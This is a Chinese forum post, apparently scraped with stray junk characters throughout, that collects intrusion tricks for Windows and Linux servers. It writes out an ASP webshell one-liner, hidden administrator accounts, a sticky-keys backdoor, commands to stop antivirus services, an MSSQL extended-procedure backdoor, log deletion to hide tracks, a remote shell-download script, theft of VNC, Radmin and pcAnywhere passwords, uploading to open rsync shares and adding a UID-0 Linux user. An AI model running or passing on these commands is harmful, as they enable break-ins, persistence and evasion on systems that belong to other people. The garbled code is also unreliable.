渗透技巧总结

admin

旁站路径问题
% i, r( |3 F/ ~1 f# q8 u1、读网站配置。
+ w; l) A4 a- t5 O2 O0 ^1 F2、用以下VBS
On Error Resume Next
( m$ F$ r: a, W; F2 z: E3 yIf (LCase(Right(WScript.Fullname,11))="wscript.exe") Then
        

Msgbox Space(12) & "IIS Virtual Web Viewer" & Space(12) & Chr(13) & Space(9) & "

Usage:Cscript vWeb.vbs",4096,"Lilo"
        WScript.Quit
End If
Set ObjService=GetObject
: B6 j, ]( J0 |. V
("IIS://LocalHost/W3SVC")
* g$ |( K& l/ D. K# k% i$ HFor Each obj3w In objservice
        If IsNumeric(obj3w.Name)

Then
                Set OService=GetObject("IIS://LocalHost/W3SVC/" & obj3w.Name)
         
  h! U1 B* `7 [8 m7 |  a4 O' v
9 u, e8 J% ]8 x8 H6 C       Set VDirObj = OService.GetObject("IIsWebVirtualDir", "ROOT")
                If Err
0 ]5 x0 _& J$ a6 {0 P$ b; Y( p6 v
<> 0 Then WScript.Quit (1)
                WScript.Echo Chr(10) & "[" &

) s3 A" m, s8 t9 j% g$ kOService.ServerComment & "]"
2 G! m1 k2 [- u9 n$ T/ w; Y7 S5 O                For Each Binds In OService.ServerBindings
     

                   Web = "{ " & Replace(Binds,":"," } { ") & " }"
                        

" O: t) D+ m" |0 QWScript.Echo Replace(Split(Replace(Web," ",""),"}{")(2),"}","")
9 i1 T2 K- l0 ^  z# F+ D                Next
      
/ q7 A% a7 E( J! p; X
         WScript.Echo "ath            : " & VDirObj.Path
        End If
% r$ w* ^: |8 _  V) B9 `2 vNext
复制代码
3、iis_spy列举（注：需要支持ASPX，反IISSPY的方法：将activeds.dll，activeds.tlb降权）
7 A' Y  e7 B, F; V4、得到目标站目录，不能直接跨的。通过echo  ^<%execute(request("cmd"))%^> >>X:\目标目录\X.asp 或者copy 脚本文件 X:\目标目录\X.asp  像目标目录写入webshell。或者还可以试试type命令.
% x' E3 I& }7 t" e% M. Y6 t2 q4 N, Q—————————————————————
8 n# {" E* }0 C3 @6 S# e' ^WordPress的平台，爆绝对路径的方法是：
8 [0 |, ]! U6 v/ B+ e3 _0 aurl/wp-content/plugins/akismet/akismet.php
url/wp-content/plugins/akismet/hello.php
$ n* g8 J! t; ~- Z( j——————————————————————
phpMyAdmin暴路径办法:
phpMyAdmin/libraries/select_lang.lib.php
phpMyAdmin/darkblue_orange/layout.inc.php
2 [7 Z: Y0 D: X4 K, GphpMyAdmin/index.php?lang[]=1
phpmyadmin/themes/darkblue_orange/layout.inc.php
————————————————————
网站可能目录(注：一般是虚拟主机类）
& F* I: P! x( B9 E6 m: H) u: ~data/htdocs.网站/网站/
2 @+ b9 i& t6 c. c" k————————————————————
$ @! d9 C- f' ~# v- L* ^CMD下操作VPN相关
+ ^2 s- O& i7 h) c6 D# Rnetsh ras set user administrator permit #允许administrator拨入该VPN
netsh ras set user administrator deny #禁止administrator拨入该VPN
( U5 P1 i0 Z6 [2 tnetsh ras show user #查看哪些用户可以拨入VPN
netsh ras ip show config #查看VPN分配IP的方式
8 C9 s  y  ~, F9 [netsh ras ip set addrassign method = pool #使用地址池的方式分配IP
netsh ras ip add range from = 192.168.3.1 to = 192.168.3.254 #地址池的范围是从192.168.3.1到192.168.3.254
0 J8 \+ z! K5 L( g————————————————————
命令行下添加SQL用户的方法
需要有管理员权限,在命令下先建立一个c:\test.qry文件,内容如下:
4 e9 G$ L+ ]. H! Pexec master.dbo.sp_addlogin test,123
- @7 z. \* r7 u+ i/ @* qEXEC sp_addsrvrolemember 'test, 'sysadmin'
* {. v( J. s+ L/ k6 e% o然后在DOS下执行:cmd.exe /c isql -E /U alma /P /i c:\test.qry

- ~) P, S9 o$ J9 F; T( x4 b另类的加用户方法
: b' b# L( @& x* T0 q在删掉了net.exe和不用adsi之外，新的加用户的方法。代码如下：
js:
var o=new ActiveXObject( "Shell.Users" );
z=o.create("test") ;
z.changePassword("123456","")
9 p# t7 w5 R8 y8 r& y/ g7 m/ qz.setting("AccountType")=3;
' j9 i: ?1 T& S+ M5 `7 L
vbs:
Set   o=CreateObject( "Shell.Users" )
Set z=o.create("test")
z.changePassword "123456",""
7 P1 r" D& b9 R# R( y; Xz.setting("AccountType")=3
# ?# r+ W- h  L0 P——————————————————
cmd访问控制权限控制（注：反everyone不可读，工具-文件夹选项-使用简单的共享去掉即可）
# x, G+ e# R2 j8 n# g7 n  W
: W2 V+ b% y( O- ~' m* d命令如下
) p  r+ }4 n" t2 c2 Z( O, V) @( Z$ Rcacls c: /e /t /g everyone:F           #c盘everyone权限
. d, G+ }1 E7 f$ b7 E6 ocacls "目录" /d everyone               #everyone不可读，包括admin
* i$ j6 w% L+ C. W- P; l————————以下配合PR更好————
3389相关
* S) y# h! }) b0 l% O4 @2 o* z, y2 La、防火墙TCP/IP筛选.（关闭net stop policyagent & net stop sharedaccess）
2 j5 F7 V$ {7 {0 Gb、内网环境（LCX）
c、终端服务器超出了最大允许连接
XP 运行mstsc /admin
& O2 ^2 f: i8 F3 i/ \: s7 B8 x2003 运行mstsc /console   

杀软关闭（把杀软所在的文件的所有权限去掉）
! l2 s8 K! f" E. U8 E, d0 Z处理变态诺顿企业版：
net stop "Symantec AntiVirus" /y
net stop "Symantec AntiVirus Definition Watcher" /y
net stop "Symantec Event Manager" /y
net stop "System Event Notification" /y
net stop "Symantec Settings Manager" /y
# l6 y4 m- N! K3 g4 E9 y
2 z% q1 L! X" x5 W9 o" o1 q5 t卖咖啡：net stop "McAfee McShield"
————————————————————

5次SHIFT：
8 X( T$ M1 \, {% S/ Gcopy %systemroot%\system32\sethc.exe %systemroot%\system32\dllcache\sethc1.exe
" D6 j( u8 O* e4 r* Icopy %systemroot%\system32\cmd.exe %systemroot%\system32\dllcache\sethc.exe /y
) g4 a. w( c6 m) ^, T  S0 Ocopy %systemroot%\system32\cmd.exe %systemroot%\system32\sethc.exe /y
——————————————————————
隐藏账号添加：
1、net user admin$ 123456 /add&net localgroup administrators admin$ /add
6 g' W! W" r1 y0 t5 l2 e$ S2、导出注册表SAM下用户的两个键值
9 e( o0 J4 g' M8 H; q7 P  b3、在用户管理界面里的admin$删除，然后把备份的注册表导回去。
4、利用Hacker Defender把相关用户注册表隐藏
——————————————————————
. k3 R8 x8 n  d& XMSSQL扩展后门：
- S* b0 P3 T+ w" FUSE master;
EXEC sp_addextendedproc 'xp_helpsystem', 'xp_helpsystem.dll';
GRANT exec On xp_helpsystem TO public;
3 x: c7 a! E0 B- K———————————————————————
  K% l1 n: m2 O! l日志处理
C:\WINNT\system32\LogFiles\MSFTPSVC1>下有
0 K$ C  y7 y6 a; S2 f/ rex011120.log / ex011121.log / ex011124.log三个文件，
直接删除 ex0111124.log
& f( Q( A  j9 Y不成功，“原文件...正在使用”
0 l4 v5 n, [4 |% ?( v9 M当然可以直接删除ex011120.log / ex011121.log
用记事本打开ex0111124.log，删除里面的一些内容后，保存，覆盖退出，成功。
' s" m* \: ~  W) m当停止msftpsvc服务后可直接删除ex011124.log

MSSQL查询分析器连接记录清除：
9 A0 }+ X  d, y) x3 O& g4 M  v$ }# lMSSQL 2000位于注册表如下：
HKEY_CURRENT_USER\Software\Microsoft\Microsoft SQL Server\80\Tools\Client\PrefServers
) c9 u4 ^* s2 N& E" ]: [找到接接过的信息删除。
MSSQL 2005是在C:\Documents and Settings\<user>\Application Data\Microsoft\Microsoft SQL

1 ?/ `+ m$ C3 j. g' Y+ @+ |Server\90\Tools\Shell\mru.dat
4 a( p5 R" C, d1 M3 }5 ?- t! M—————————————————————————
防BT系统拦截可使用远程下载shell，也达到了隐藏自身的效果，也可以做为超隐蔽的后门，神马的免杀webshell，用服务器安全工具一扫通通挂掉了）

<%
Sub eWebEditor_SaveRemoteFile(s_LocalFileName,s_RemoteFileUrl)
# }8 q8 s0 {& v! B& uDim Ads, Retrieval, GetRemoteData
On Error Resume Next
Set Retrieval = Server.CreateObject("Microsoft.XMLHTTP")
. K; k4 f7 R  S8 {8 [, u* TWith Retrieval
, h4 t$ K" u$ E. J3 r" c: S.Open "Get", s_RemoteFileUrl, False, "", ""
.Send
1 m/ W2 E+ j; M) ^$ U0 r' }GetRemoteData = .ResponseBody
End With
Set Retrieval = Nothing
6 b$ ^0 V8 o& Z# O7 d5 N8 _- dSet Ads = Server.CreateObject("Adodb.Stream")
9 i2 [4 X6 x8 W) h/ D; MWith Ads
.Type = 1
.Open
.Write GetRemoteData
.SaveToFile Server.MapPath(s_LocalFileName), 2
* i' ?9 T. X) z: j: F9 B.Cancel()
+ x: Y$ s4 y7 U) n3 n1 g: i.Close()
# E4 B. n; h  QEnd With
Set Ads=nothing
End Sub

% N' e; C" o4 {" ueWebEditor_SaveRemoteFile"your shell's name","your shell'urL"
6 P" f" l, L7 k$ l7 T%>

: Z) n  y2 l* c8 I) Q' iVNC提权方法:
( X3 u% a( x& S( C# P: M利用shell读取vnc保存在注册表中的密文，使用工具VNC4X破解
注册表位置：HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4\password
0 c0 F8 r, p3 Y; k1 a! t8 ~' q4 h/ Yregedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\SOFTWARE\ORL"
8 u2 D. w) g" z, m* L! Tregedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\Software\RealVNC\WinVNC4"
5 N/ o2 c* {# H# d4 b1 i0 uRadmin 默认端口是4899，
9 Q, k; [( m. v8 D$ X- _HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Parameter//默认密码注册表位置
: a. m. t, L" X+ e* \HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Port //默认端口注册表位置
" u: W( |: P2 |, i  U! m然后用HASH版连接。
4 s' C3 ~" W$ `7 T* L5 A如果我们拿到一台主机的WEBSEHLL。通过查找发现其上安装有PCANYWHERE 同时保存密码文件的目录是允许我们的IUSER权限访问，我们可以下载这个CIF文件到本地破解，再通过PCANYWHERE从本机登陆服务器。
保存密码的CIF文件,不是位于PCANYWHERE的安装目录,而且位于安装PCANYWHERE所安装盘的\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\ 如果PCANYWHERE安装在D:\program\文件下下，那么PCANYWHERE的密码文件就保存在D:\Documents and Settings\All
Users\Application Data\Symantec\pcAnywhere\文件夹下。
——————————————————————
) m! A5 |2 L6 D/ j" I4 l搜狗输入法的PinyinUp.exe是可读可写的直接替换即可
: U7 q( [( ^( @) m" g' Y1 }: J——————————————————----------
: r3 m9 `. d, Z* @* N0 t; xWinWebMail目录下的web必须设置everyone权限可读可写，在开始程序里，找到WinWebMail快捷方式下下
" [  z9 b! y+ ^4 B0 z来，看路径，访问 路径\web传shell，访问shell后，权限是system，放远控进启动项，等待下次重启。
没有删cmd组建的直接加用户。
7i24的web目录也是可写，权限为administrator。

1433 SA点构建注入点。
<%
" F" S6 K! C: hstrSQLServerName = "服务器ip"
6 h' }6 ^- \5 {3 u0 @strSQLDBUserName = "数据库帐号"
3 u. I! p- ~! q- u& W$ |; _; bstrSQLDBPassword = "数据库密码"
8 r; R# J8 @; V5 ]$ ?9 ?strSQLDBName = "数据库名称"
1 W, J' l7 V( r6 tSet conn = Server.createObject("ADODB.Connection")
strCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName &
  H2 p, @+ C$ h. C+ Y
: `2 S- B! {; W- ?4 y";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" &
) h; `, E+ o: H4 U
strSQLDBName & ";"
conn.open strCon
% g  r! |. h/ Y, U6 m1 j/ Kdim rs,strSQL,id
set rs=server.createobject("ADODB.recordset")
8 X) r9 t: Y  k# J$ B/ T9 ]$ u  Q1 yid = request("id")
strSQL = "select * from ACTLIST where worldid=" & idrs.open strSQL,conn,1,3
3 K" Y& a; B, K- y. o* Ers.close
%>
复制代码
******liunx 相关******
一.ldap渗透技巧
+ s; G. i: x9 R7 `, U! \- ~3 Q1.cat /etc/nsswitch
看看密码登录策略我们可以看到使用了file ldap模式

2.less /etc/ldap.conf
base ou=People,dc=unix-center,dc=net
0 Y0 G) O+ W5 ?) c! C- G/ n找到ou,dc,dc设置

  j) V5 T! q! A3 y& o0 \3.查找管理员信息
: }  n1 _/ t) L7 ]7 g  r匿名方式
ldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
有密码形式
! V5 W$ J8 @6 ~8 U7 \5 Qldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
3 r' p2 k$ z* `% s! O" s0 ]2 \

$ k) W; R/ j# b5 _4.查找10条用户记录
7 H1 j8 @3 T: c2 s* zldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口

) ?( y0 t- t9 n/ O; B& A% l实战:
1.cat /etc/nsswitch
看看密码登录策略我们可以看到使用了file ldap模式

  G, }! q3 s3 ?8 U' v2.less /etc/ldap.conf
base ou=People,dc=unix-center,dc=net
) j! }) k  y+ _找到ou,dc,dc设置

2 q* A  g5 M  c5 G# U; H6 K/ q3.查找管理员信息
匿名方式
ldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

. I" g* z* N. G3 l9 ^/ ], x! T( Y"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
- H6 T$ i+ I7 {3 q有密码形式
% y8 L5 _7 u9 Cldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

" T1 _+ g5 z' I: j+ {( L1 i3 ^' K"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
! x' P  q4 E- Y# V0 ]6 X, E

4.查找10条用户记录
  f& w( r7 f" O. Fldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口

渗透实战:
1.返回所有的属性
, i1 i4 J" G% p* d6 ]/ s# Ildapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s sub "objectclass=*"
version: 1
dn: dc=ruc,dc=edu,dc=cn
dc: ruc
+ F6 p+ ~8 N0 @7 S6 ^objectClass: domain

dn: uid=manager,dc=ruc,dc=edu,dc=cn
) r9 S8 B2 W% A! j: p. \4 j/ g6 auid: manager
objectClass: inetOrgPerson
objectClass: organizationalPerson
. z$ Q' K, D. {9 T/ Z) A) ZobjectClass: person
objectClass: top
sn: manager
0 P' m% V: W; a3 Y9 l' Scn: manager

! {4 V" @, }# E- B' R; Ldn: uid=superadmin,dc=ruc,dc=edu,dc=cn
uid: superadmin
' m; `8 ?' f% x& q! {' W7 ~objectClass: inetOrgPerson
7 ~+ a) g$ w: `: P4 ?objectClass: organizationalPerson
objectClass: person
7 c1 n8 K7 B3 U$ YobjectClass: top
( f& T7 Y. j5 `% f1 g1 Isn: superadmin
7 G  H. A9 e$ ]0 }cn: superadmin

dn: uid=admin,dc=ruc,dc=edu,dc=cn
uid: admin
objectClass: inetOrgPerson
objectClass: organizationalPerson
. q, Z- G  i. e, MobjectClass: person
2 S9 H; ~) u: P6 H2 EobjectClass: top
sn: admin
cn: admin
1 C" z& L0 U5 p1 {4 r4 [' ~' i
  i/ i/ u+ e3 T* T, E% R, Gdn: uid=dcp_anonymous,dc=ruc,dc=edu,dc=cn
uid: dcp_anonymous
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: inetOrgPerson
sn: dcp_anonymous
cn: dcp_anonymous

& o4 S$ w" v" x2 |6 |2.查看基类
bash-3.00# ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s base "objectclass=*" |
: K- B. l$ Q7 }6 Y5 m6 X
more
- v3 D) O! g% M; X8 H  m; H: ~. r  Hversion: 1
9 R4 q3 j1 e# X8 ?0 _dn: dc=ruc,dc=edu,dc=cn
4 V1 Y2 m* N' r9 }; P# a2 t  f% s( ydc: ruc
objectClass: domain
5 ^3 }* H- U  j6 ~
3.查找
bash-3.00# ldapsearch -h 192.168.7.33 -b "" -s base "objectclass=*"
/ E5 Y2 k8 _; }version: 1
dn:
objectClass: top
. P9 E" X. l0 m, MnamingContexts: dc=ruc,dc=edu,dc=cn
supportedExtension: 2.16.840.1.113730.3.5.7
supportedExtension: 2.16.840.1.113730.3.5.8
7 M6 q; ~3 H0 R5 j; p" F- ksupportedExtension: 1.3.6.1.4.1.4203.1.11.1
: h! P) X, Q) k/ w. B$ t$ w7 ssupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.25
. h! Y% ?7 p$ P$ d  l5 {& c% msupportedExtension: 2.16.840.1.113730.3.5.3
supportedExtension: 2.16.840.1.113730.3.5.5
supportedExtension: 2.16.840.1.113730.3.5.6
0 I% o- e' X4 d  |2 P, K5 csupportedExtension: 2.16.840.1.113730.3.5.4
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.1
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.2
$ K$ o" F7 H9 q! y- ], _) csupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.3
; \8 Y) ]4 l8 K) p: D1 m: z. gsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.4
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.5
0 v( G. g/ H7 u5 y- S! y- ?: k0 [supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.6
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.7
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.8
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.9
9 V' t9 f' e7 p; \; [# b! FsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.23
; [& Z/ Z0 A) \/ `, p4 xsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.11
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.12
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.13
4 e! c9 D1 s# A( ^# Q! VsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.14
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.15
, i' Q; G8 a9 [  R3 ?  [supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.16
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.17
4 Q3 _  l5 O0 w" w1 o9 h" FsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.18
8 l: I4 a, V: M% |supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.19
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.21
4 `6 y7 c2 |, a% H1 V1 u! j* f$ nsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.22
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.24
supportedExtension: 1.3.6.1.4.1.1466.20037
supportedExtension: 1.3.6.1.4.1.4203.1.11.3
7 T' a7 Q" f8 x% D5 L( d5 C: ?supportedControl: 2.16.840.1.113730.3.4.2
supportedControl: 2.16.840.1.113730.3.4.3
supportedControl: 2.16.840.1.113730.3.4.4
supportedControl: 2.16.840.1.113730.3.4.5
3 g' }( ~# {6 d- l6 s: z+ N3 XsupportedControl: 1.2.840.113556.1.4.473
; m3 X" a/ I# I, \4 y2 h6 rsupportedControl: 2.16.840.1.113730.3.4.9
- |) F6 d2 E: Z9 ssupportedControl: 2.16.840.1.113730.3.4.16
supportedControl: 2.16.840.1.113730.3.4.15
% M. e- F. g/ x1 O# h; b1 Q$ NsupportedControl: 2.16.840.1.113730.3.4.17
supportedControl: 2.16.840.1.113730.3.4.19
1 H: a1 Y1 o& W' i: p9 ?& @supportedControl: 1.3.6.1.4.1.42.2.27.9.5.2
% a- @2 d6 f% X7 s. `" [supportedControl: 1.3.6.1.4.1.42.2.27.9.5.6
! W6 e, N& W; W7 ]7 k" Y8 r( F, @1 W3 }supportedControl: 1.3.6.1.4.1.42.2.27.9.5.8
# N# y* v+ A; y1 @7 y  XsupportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
/ R: n1 @6 l, S; p% ?9 TsupportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
( m3 C% S# r8 @supportedControl: 2.16.840.1.113730.3.4.14
supportedControl: 1.3.6.1.4.1.1466.29539.12
8 t4 r; X* g+ l* vsupportedControl: 2.16.840.1.113730.3.4.12
supportedControl: 2.16.840.1.113730.3.4.18
supportedControl: 2.16.840.1.113730.3.4.13
supportedSASLMechanisms: EXTERNAL
( X- |& g7 Q$ t/ }5 O3 ]+ A* usupportedSASLMechanisms: DIGEST-MD5
supportedLDAPVersion: 2
4 z9 m5 ^& a+ g& G3 M" M& _supportedLDAPVersion: 3
vendorName: Sun Microsystems, Inc.
vendorVersion: Sun-Java(tm)-System-Directory/6.2
+ }; x8 E: L. z$ Q1 vdataversion: 020090516011411
/ N$ S9 m8 M# x0 ?" d0 U. xnetscapemdsuffix: cn=ldap://dc=webA:389
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_DHE_RSA_WITH_AES_256_CBC_SHA
. y  N- g  H6 G4 MsupportedSSLCiphers: TLS_DHE_DSS_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_256_CBC_SHA
) Q5 Z/ n/ F5 h' csupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA
" C/ e( t5 P  d, Z, P0 }7 }6 HsupportedSSLCiphers: TLS_RSA_WITH_AES_256_CBC_SHA
+ q0 p8 m0 Z/ c6 j0 q4 `supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_RC4_128_SHA
' ?  W. Q' m' f$ q9 l# t7 x" C9 ]supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
6 J# v: f8 f" f# X- ]supportedSSLCiphers: TLS_ECDHE_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_DHE_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_RC4_128_SHA
: d1 A# o; n. J' n& `  @, Q$ ?supportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_RC4_128_SHA
7 n: Z! Q3 r$ hsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA
2 _- {6 I- C) z, C" Q! dsupportedSSLCiphers: SSL_RSA_WITH_RC4_128_MD5
# y- Z& a. p1 f0 @4 q. nsupportedSSLCiphers: SSL_RSA_WITH_RC4_128_SHA
( q2 a7 s6 W( m) a# DsupportedSSLCiphers: TLS_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_DSS_WITH_3DES_EDE_CBC_SHA
( ~% p9 U% j0 Z( GsupportedSSLCiphers: TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_RSA_FIPS_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_3DES_EDE_CBC_SHA
6 ?# I8 D8 I8 X( j4 Z( c& gsupportedSSLCiphers: SSL_DHE_RSA_WITH_DES_CBC_SHA
. D% D" P# o1 q4 F% a, P' m% j4 AsupportedSSLCiphers: SSL_DHE_DSS_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_FIPS_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_DES_CBC_SHA
supportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_RC4_56_SHA
supportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_DES_CBC_SHA
6 _0 y" L# V; _# f" U7 rsupportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC4_40_MD5
3 j" G: p$ e! Z- g4 QsupportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC2_CBC_40_MD5
3 j5 P. f& m* {1 C( C9 ?" DsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_NULL_SHA
- j1 L0 s* R: j$ VsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_NULL_SHA
0 x1 `1 ?0 L0 S2 C  ksupportedSSLCiphers: SSL_RSA_WITH_NULL_SHA
supportedSSLCiphers: SSL_RSA_WITH_NULL_MD5
6 ?- Y3 N, b$ `& u- s' ]supportedSSLCiphers: SSL_CK_RC4_128_WITH_MD5
* `" R7 J5 f0 u0 M3 a3 l- CsupportedSSLCiphers: SSL_CK_RC2_128_CBC_WITH_MD5
' H$ G! R' ~; n1 M+ EsupportedSSLCiphers: SSL_CK_DES_192_EDE3_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_DES_64_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_RC4_128_EXPORT40_WITH_MD5
supportedSSLCiphers: SSL_CK_RC2_128_CBC_EXPORT40_WITH_MD5
————————————
2. NFS渗透技巧
0 u# r8 O3 d2 Eshowmount -e ip
列举IP
# p6 o: C1 ~6 S- @+ q- P——————
3.rsync渗透技巧
  z, i, x; k3 v4 u1.查看rsync服务器上的列表
rsync 210.51.X.X::
* O+ R! z1 N% \3 I* kfinance
& g8 _& r0 }8 |# Q4 `  wimg_finance
5 S7 r% l" j* _. i* Y$ rauto
img_auto
html_cms
img_cms
  R4 w  E2 @6 O4 `5 E7 y" kent_cms
0 \0 l4 E  H0 B  ?  sent_img
1 |0 e) b" [0 F% [( I) n* gceshi
5 A' ]5 G+ s# z$ I" qres_img
# N9 x) Z% v, ~, t# [. @6 B/ @res_img_c2
# A' W. x6 R7 r" Tchip
: J1 s. E( s( p( B# S5 L" r6 |( }chip_c2
, j. p, f, T6 V5 O) B: Ient_icms
games
gamesimg
4 L) o" I/ e0 ]4 b1 R5 omedia
mediaimg
fashion
6 M' n% W5 \: V$ e+ Hres-fashion
- S3 ]; ~! b  ^2 L7 `( |: ]% xres-fo
$ \/ p) }( I8 j$ G8 V% ftaobao-home
res-taobao-home
house
% J0 m% ~& ?" T  l$ R! hres-house
' K) Z) x1 R) h$ pres-home
res-edu
res-ent
res-labs
1 A$ _; |) j8 r' }res-news
' c5 Q1 _3 w# @4 gres-phtv
* g) J/ X4 a5 yres-media
9 a( Z2 s- j" \  z4 \# @8 @/ }; ohome
edu
% @" K: R- C2 |5 g* x' }news
$ w- {! ?8 g% i2 ^9 b/ Gres-book
" h# B9 B& [2 Z' ?. q/ \9 g
看相应的下级目录(注意一定要在目录后面添加上/)
1 O# o) F4 K  {9 |
0 ~$ {2 i1 e0 B8 q' e! F" d: c
rsync 210.51.X.X::htdocs_app/
rsync 210.51.X.X::auto/
rsync 210.51.X.X::edu/
6 {/ e0 g/ v5 J" h
7 `. i5 V3 S1 S; w6 Q2.下载rsync服务器上的配置文件
0 E% f' c0 A% G( t6 V+ ^* Grsync -avz 210.51.X.X::htdocs_app/ /tmp/app/
0 M) i' R3 A: D$ `
( l7 K) j3 n7 T. G3.向上更新rsync文件(成功上传,不会覆盖)
8 J' z% R3 b$ F5 Prsync -avz nothack.php 210.51.X.X::htdocs_app/warn/
3 S7 n  Z8 U  i* C' q9 y- Ghttp://app.finance.xxx.com/warn/nothack.txt
7 v$ u; Z5 x" S- r& E. _% p6 u% f
8 ^: w4 ?/ N* k+ _+ V# b四.squid渗透技巧
nc -vv baidu.com 80
& q6 s+ Q; o/ C" PGET HTTP://www.sina.com / HTTP/1.0
  q( n. g4 a0 W6 z% FGET HTTP://WWW.sina.com:22 / HTTP/1.0
五.SSH端口转发
% F" F, G0 C) ^* M" {8 X6 W, v, Yssh -C -f -N -g -R 44:127.0.0.1:22 cnbird@ip
9 f" o5 N0 Q/ g; Z. `, {$ z  B
- a6 F4 q8 W! T& c六.joomla渗透小技巧
确定版本
index.php?option=com_content&view=article&id=30:what-languages-are-supported-by-joomla-

; h7 o, J" [# k. U15&catid=32:languages&Itemid=47

" o- U+ r, y8 B4 O8 Z( [6 U重新设置密码
5 @9 F9 N1 v' M6 U' |8 `index.php?option=com_user&view=reset&layout=confirm
2 j% J/ B3 z" B! D
5 X1 ]! }; k" h* y& Z七: Linux添加UID为0的root用户
; A* T4 h( Z% k, D8 M+ xuseradd -o -u 0 nothack

八.freebsd本地提权
  o& `5 m- [$ m7 ^[argp@julius ~]$ uname -rsi
* freebsd 7.3-RELEASE GENERIC
* [argp@julius ~]$ sysctl vfs.usermount
* vfs.usermount: 1
* [argp@julius ~]$ id
* uid=1001(argp) gid=1001(argp) groups=1001(argp)
* [argp@julius ~]$ gcc -Wall nfs_mount_ex.c -o nfs_mount_ex
* [argp@julius ~]$ ./nfs_mount_ex
/ C2 G9 I4 n3 }5 k8 t5 U; X*
0 [9 I" a5 A+ @8 _' icalling nmount()
" e) V6 L2 V$ x# j; W& h
（注：本文原件由0x童鞋收集整理，感谢0x童鞋，本人补充和优化了点，本文毫无逻辑可言，因为是想到什么就写了，大家见谅）
——————————————
